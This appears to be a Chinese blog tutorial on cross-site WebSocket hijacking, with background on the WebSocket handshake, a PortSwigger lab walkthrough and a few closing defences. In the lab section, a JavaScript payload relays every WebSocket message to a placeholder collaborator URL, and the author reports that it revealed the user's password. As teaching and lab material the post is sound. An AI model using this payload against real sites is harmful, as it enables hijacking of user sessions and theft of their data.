<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺析websocket劫持

    VSole2022-07-15 15:43:18

    WebSocket劫持漏洞導讀

    WebSocket協議技術

    WebSocket是HTML5推出的新協議,是基于TCP的應用層通信協議,它與http協議內容本身沒有關系。WebSocket 也類似于 TCP 一樣進行握手連接,跟 TCP 不同的是,WebSocket 是基于 HTTP 協議進行的握手,它在客戶端和服務器之間提供了一個基于單 TCP 連接的高效全雙工通信信道

    websocket是持久化的協議,而http是非持久的

    當通信協議從 http://或 https://切換到 ws://或 wss://后,表示應用已經切換到了WebSocket協議通信狀態

    WebSocket連接的建立需要經過連接請求、握手、連接建立三個步驟,如下圖

    建立WebSocket連接

    WebSocket連接通常是使用客戶端JavaScript創建的

    var ws =newWebSocket("wss://normal-website.com/chat");

    //該`wss`協議建立在一個加密的TLS連接的WebSocket,而`ws`協議使用未加密的連接。

    為了建立連接,瀏覽器和服務器通過HTTP執行WebSocket握手。瀏覽器發出WebSocket握手請求,如下所示:

    GET /chat HTTP/1.1Host: normal-website.comSec-WebSocket-Version: 13Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==Connection: keep-alive, UpgradeCookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2Upgrade: websocket
    

    如果服務器接受連接,則它將返回WebSocket握手響應,如下所示:

    HTTP/1.1 101 Switching ProtocolsConnection: UpgradeUpgrade: websocketSec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
    

    此時,網絡連接保持打開狀態,并且可以用于向任一方向發送WebSocket消息。

    請求和響應中 的Connection和Upgrade標頭表示這是WebSocket握手

    WebSocket安全漏洞

    原則上,由于WebSocket涉及多個層面,任何與WebSocket有關的web安全漏洞都有可能出現

    ?傳輸到服務器的用戶的輸入以不安全方式處理,出現SQL注入或XML外部實體注入等

    ?通過WebSockets達到的某些盲洞(blind vulnerabilities)可能僅可使用帶外(OAST)技術才能檢測到

    ?如果攻擊者控制的數據通過WebSockets傳輸到其他應用程序用戶,則可能導致XSS或其他客戶端漏洞

    本文主要講探討的是跨站WebSocket劫持漏洞-CSWSH

    跨站WebSocket劫持漏洞

    什么是跨站WebSocket劫持漏洞

    Websocket帶來的安全特性在一定程度上緩解了一些特性的攻擊,但在日漸發展的攻擊方式下,其相關漏洞也不斷曝光,其中最常見的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞

    我們可以看見WebSocket的鏈接過程與http是極其相似的,WebSocket協議在握手階段是基于HTTP的。它在握手期間是沒有規定服務器如何驗證客戶端的身份,因此,服務器需要采用http客戶端認證機制來辨明身份,如常見的cookie、http頭基本認證等。這就導致了容易被攻擊者利用惡意網頁偽裝用戶的身份,與服務器建立WebSocket連接

    CSWSH與跨站請求偽造CSRF的漏洞原理極其類似

    相較于CSRF漏洞只能發送偽造請求,跨站WebSocket劫持漏洞卻可以建立了一個完整的讀/寫雙向通道,且不受同源策略的限制,這在很大意義上都造成了更大的危害和可操作性

    跨站WebSocket劫持漏洞可能帶來的影響

    ?執行偽造成用戶的未授權操作

     與常規CSRF類似,攻擊者可以偽造成用戶利用生成的WebSocket通道以執行一些敏感操作

    ?檢索用戶可訪問的敏感數據

     與常規CSRF不同的時,CSWSH是建立一個可雙向交互的通道,當客戶端向用戶發送敏感數據時,攻擊者可以將其攔截并記錄得到敏感信息

    跨站WebSocket劫持漏洞靶場演示

    靶機環境

    ?靶場

     借助于burpsuite練兵場

     Lab: Cross-site WebSocket hijacking | Web Security Academy (portswigger.net)

    ?瀏覽器環境

     edge瀏覽器

    靶場解析

    ?點擊啟動靶場

     

    ?觀察發現存在實時聊天界面,觀察發現沒有CSRF的令牌

    ?將代碼復制到body

      var ws =newWebSocket('wss://your-websocket-url');  ws.onopen=function() {    ws.send("READY");  };  ws.onmessage=function(event) {    fetch('https://your-collaborator-url', {method:'POST',mode:'no-cors',body:event.data});  };
    

    ?wss://your-websocket-url替換成目前url

    ?https://your-collaborator-url替換成Burp Collaborator Client或自己搭建的Burp Collaborator 服務器

    ?可以點擊view exploit測試,也可以直接發給攻擊方

     

     

    ?然后在Burp Collaborator Client多poll幾下

    ?翻看一下得到賬號密碼

     

    然后我選擇再用dnslog驗證一遍

    確實可以帶出數據,執行敏感操作

    如何防范跨站WebSocket劫持漏洞

    ?校驗Origin頭

    ?雙向將WebSocket傳輸數據視為不可信

    ?對WebSocket握手信息進行加密保護

    ?硬編碼WebSockets終結點的URL

    websocketws
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    WebSocket 測試入門篇
    2023-02-08 15:56:52
    這種傳統的模式帶來很明顯的缺點,即瀏覽器需要不斷的向服務器發出請求,然而 HTTP 請求可能包含較長的頭部,其中真正有效的數據可能只是很小的一部分,顯然這樣會浪費很多的帶寬等資源。瀏覽器通過 JavaScript 向服務器發出建立 WebSocket 連接的請求,連接建立以后,客戶端和服務器端就可以通過 TCP 連接直接交換數據。
    Amazon SageMaker 是一項完全托管的機器學習服務。借助 SageMaker,數據科學家和開發人員可以快速輕松地構建和訓練機器學習模型,然后直接將它們部署到生產就緒的托管環境中。
    某日, 我的同學突然 @crane 問我有沒有能檢測 burp 的方法. 突然想起來之前就看見過別人的 burp 被攔截, 但是當時測試下來由于我的 burp 不會被攔截, 所以就沒有太在意. 現在回想起來有點在意為什么會出現這種檢測上的選擇性, 于是剛好學習一下相關方法了解原因。
    Jupyter Lab介紹JupyterLab 是一個基于 Web 的 Jupyter 筆記本、代碼和數據的交互式開發環境。我們有self XSS 時,另一個值得關注的目標是 cookie。我檢查了 cookie 并且_xsrf cookie 引起了我的注意。如果打開此設置,則需要檢測通過 POST 提交的所有表單以包含此字段。
    最近,看到網上有安全研究人員發布了一篇文章,描述了一款在?為此,筆者對該內存馬的原理進行了分析,并在此提出了一種檢測該內存馬的思路,可以幫助安全人員檢測出此種類型內存馬,從而降低業務系統安全隱患。筆者寫了一個簡單的 jsp 檢測腳本,訪問該 jsp 就能打印出所有的 ws 服務。
    淺析websocket劫持
    2022-07-15 15:43:18
    WebSocket劫持漏洞導讀WebSocket協議技術WebSocket是HTML5推出的新協議,是基于TCP的應用層通信協議,它與http協議內容本身沒有關系。為了建立連接,瀏覽器和服務器通過HTTP執行WebSocket握手。此時,網絡連接保持打開狀態,并且可以用于向任一方向發送WebSocket消息。
    Tomcat啟動時會加載lib下的依賴jar,如果黑客通過上傳漏洞或者反序列化漏洞在這個目錄添加一個jar,重啟后,某些情況下這個jar會被當成正常庫來加載,在一定條件下造成RCE
    本文將介紹不依靠DPAPI的方式獲取Chromium內核瀏覽器Cookie
    一種全新的內存馬
    2022-12-13 10:56:20
    前言WebSocket是一種全雙工通信協議,即客戶端可以向服務端發送請求,服務端也可以主動向客戶端推送數據。這樣的特點,使得它在一些實時性要求比較高的場景效果斐然。主流瀏覽器以及一些常見服務端通信框架都對WebSocket進行了技術支持。版本2013年以前還沒出JSR356標準,Tomcat就對Websocket做了支持,自定義API,再后來有了JSR356,Tomcat立馬緊跟潮流,廢棄自定義的API,實現JSR356那一套,這就使得在Tomcat7.0.47之后的版本和之前的版本實現方式并不一樣,接入方式也改變了。
    實戰 | 釣魚網站分析
    2022-08-17 21:59:51
    主要是信息收集
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类